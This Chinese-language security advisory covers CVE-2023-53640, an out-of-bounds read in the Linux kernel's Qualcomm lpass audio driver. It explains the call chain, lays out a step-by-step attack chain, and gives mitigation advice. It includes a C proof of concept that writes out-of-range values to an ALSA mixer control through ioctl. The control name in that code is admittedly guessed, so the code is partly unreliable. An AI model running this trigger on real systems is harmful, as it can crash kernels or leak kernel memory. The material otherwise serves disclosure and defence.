IPBUF安全漏洞报告
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CVE-2023-53640 CVSS 7.8 高危

CVE-2023-53640:Linux内核ASoC lpass驱动KASAN越界读取漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53640
漏洞类型
越界读取(Out-of-Bounds Read)/ 释放后使用(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(ASoC lpass音频子系统驱动)

相关标签

Linux KernelASoClpassKASAN越界读取Out-of-BoundsUse-After-FreeregcacheALSA音频驱动

漏洞概述

CVE-2023-53640是Linux内核ASoC(ALSA System on Chip)子系统中lpass(Low Power Audio SubSystem,低功耗音频子系统)驱动的一个高危安全漏洞。该漏洞由KASAN(Kernel Address Sanitizer,内核地址 sanitizer)工具通过syzkaller模糊测试工具发现,属于典型的内存安全问题——slab越界读取(slab-out-of-bounds Read)。

漏洞发生在Linux内核的regcache(寄存器缓存)模块中,具体在regcache_flat_read函数执行过程中触发了对非法内存地址的读取操作。regcache_flat_read是regmap框架中用于读取平坦(flat)类型寄存器缓存的函数,当传入的寄存器地址超出合法范围时,会导致对内核slab分配器管理的内存区域进行越界读取。

从调用栈分析可以看出,漏洞的触发路径为:用户空间通过ALSA控制接口(snd_ctl_elem_write)发起控制操作,经由tx_macro_put_dec_enum回调函数调用snd_soc_component_write_field,进而调用snd_soc_component_update_bits和regmap_update_bits_base,最终触发_regmap_update_bits和_regmap_read,最终到达存在问题的regcache_flat_read函数。整个调用链表明,攻击者可以通过精心构造的音频控制操作触发该漏洞。

该漏洞的CVSS 3.1评分为7.8分,属于高危级别。虽然攻击需要本地权限(PR:L),但无需用户交互(UI:N),且对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H),表明利用该漏洞可能导致权限提升、系统崩溃或敏感信息泄露等严重后果。

技术细节

该漏洞的技术根源在于ASoC lpass驱动中tx_macro_put_dec_enum回调函数在处理用户空间的控制写入请求时,未对相关寄存器地址或参数进行充分的合法性校验,导致regmap_update_bits_base调用时传入了无效的寄存器地址或寄存器值,最终在regcache_flat_read函数中触发了slab越界读取。

具体技术分析如下:

1. **漏洞触发点**:regcache_flat_read函数在读取寄存器缓存时,未对寄存器编号(reg)参数进行边界检查。当传入的寄存器编号超出了regmap所管理的寄存器范围时,函数会访问超出分配的缓存缓冲区边界之外的内存区域。

2. **调用链分析**:漏洞的完整调用路径为:snd_ctl_elem_write → tx_macro_put_dec_enum → snd_soc_component_write_field → snd_soc_component_update_bits → regmap_update_bits_base → _regmap_update_bits → _regmap_read → regcache_read → regcache_flat_read。在tx_macro_put_dec_enum函数中,寄存器字段的写入操作未经过适当的验证就直接传递给了底层regmap接口。

3. **内存破坏影响**:越界读取可能导致内核泄露敏感的内存内容(如相邻slab对象中的数据),这些数据可能包含内核栈数据、其他进程的内核对象指针等敏感信息。同时,不正确的内存访问也可能导致系统不稳定或内核崩溃(kernel panic)。

4. **利用条件**:攻击者需要具有本地系统访问权限(普通用户权限即可),通过ALSA音频子系统提供的控制接口(如alsactl工具或直接通过/dev/snd/control设备),向特定的音频编解码器控件写入精心构造的值,即可触发该漏洞。

5. **修复方案**:内核开发者通过在tx_macro_put_dec_enum及相关函数中添加错误检查和有效值验证来修复该问题,确保传入regmap的寄存器地址和值在合法范围内。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要拥有目标系统的本地用户权限(PR:L),可以通过普通用户账户或通过其他漏洞获取的低权限shell访问目标系统。
STEP 2
步骤2:定位音频设备
攻击者查找系统上的ALSA音频控制设备(通常位于/dev/snd/controlC0),确认目标系统使用Qualcomm lpass音频硬件(如sc7280 CRD平台)且运行存在漏洞的内核版本。
STEP 3
步骤3:构造恶意控制值
攻击者通过ALSA控制接口,定位到tx_macro相关的DEC枚举控件(如'TX Macro DEC Enum'),构造超出合法范围的枚举值或寄存器参数。
STEP 4
步骤4:触发越界读取
通过ioctl系统调用(SNDRV_CTL_IOCTL_ELEM_WRITE)将恶意构造的控制值写入内核,触发tx_macro_put_dec_enum回调函数中的未校验寄存器写入操作。
STEP 5
步骤5:内存破坏与信息泄露
regcache_flat_read函数因传入无效的寄存器地址而执行slab越界读取,可能泄露内核敏感数据,或导致内核崩溃(kernel panic),进而实现拒绝服务攻击。
STEP 6
步骤6:权限提升(潜在)
若泄露的内存数据包含内核对象指针或凭证信息,攻击者可能进一步利用这些信息进行权限提升,获取root权限或绕过安全机制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53640 PoC - KASAN slab-out-of-bounds in regcache_flat_read * This PoC triggers the vulnerability through ALSA control interface * targeting the ASoC lpass tx_macro DAI enum control. * * Compile: gcc -o poc_cve_2023_53640 poc.c -lasound * Run: ./poc_cve_2023_53640 * * Note: Requires a system with Qualcomm lpass audio hardware * (e.g., sc7280 CRD platform) and the vulnerable kernel version. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sound/asound.h> #include <sys/ioctl.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char *argv[]) { int fd; const char *card_dev = "/dev/snd/controlC0"; struct snd_ctl_elem_id id; struct snd_ctl_elem_value value; int ret; /* Open the ALSA control device */ fd = open(card_dev, O_RDWR); if (fd < 0) { perror("Failed to open ALSA control device"); return -1; } /* Construct a control element ID targeting the tx_macro DAI enum control * The exact control name depends on the codec driver, but typically * it relates to the TX macro digital interface configuration. */ memset(&id, 0, sizeof(id)); id.iface = SNDRV_CTL_ELEM_IFACE_MIXER; strncpy((char *)id.name, "TX Macro DEC Enum", sizeof(id.name) - 1); id.index = 0; /* Set the control value to trigger the out-of-bounds read * Using an out-of-range enum value to trigger invalid register access */ memset(&value, 0, sizeof(value)); value.id = id; /* Use an invalid enum value to trigger the vulnerability */ value.value.enumerated.item[0] = 0xFFFF; /* Write the control value to trigger the vulnerability */ ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &value); if (ret < 0) { fprintf(stderr, "ioctl SNDRV_CTL_IOCTL_ELEM_WRITE failed: %s\n", strerror(errno)); /* Even if ioctl returns error, the kernel may have already * processed the invalid value and triggered the bug */ } /* Try multiple invalid values to increase chances of triggering */ for (int i = 0; i < 100; i++) { value.value.enumerated.item[0] = i * 1000; ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &value); } close(fd); printf("PoC execution completed. Check kernel log for KASAN report.\n"); return 0; }

影响范围

Linux Kernel < 75e5fab7db0cecb6e16b22c34608f0b40a4c7cd1
Linux Kernel < 8d81d3b0ed3610d24191d24f8e9e20f6775f0cc5
Linux Kernel < 8f1512d78b5de928f4616a871e77b58fd546e651
Linux Kernel < f5e61e3fe799ba2fda4320af23d26d28c3302045

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过udev规则限制/dev/snd/control*设备仅对audio组用户可写,减少普通用户的访问权限;2)使用Linux安全模块(如SELinux、AppArmor)限制非特权进程对ALSA控制接口的访问;3)暂时禁用存在问题的音频编解码器驱动模块(如果系统不依赖该音频硬件);4)监控系统日志,关注KASAN报告或内核oops信息,及时发现异常行为;5)限制本地用户数量和权限,实施最小权限原则。

参考链接

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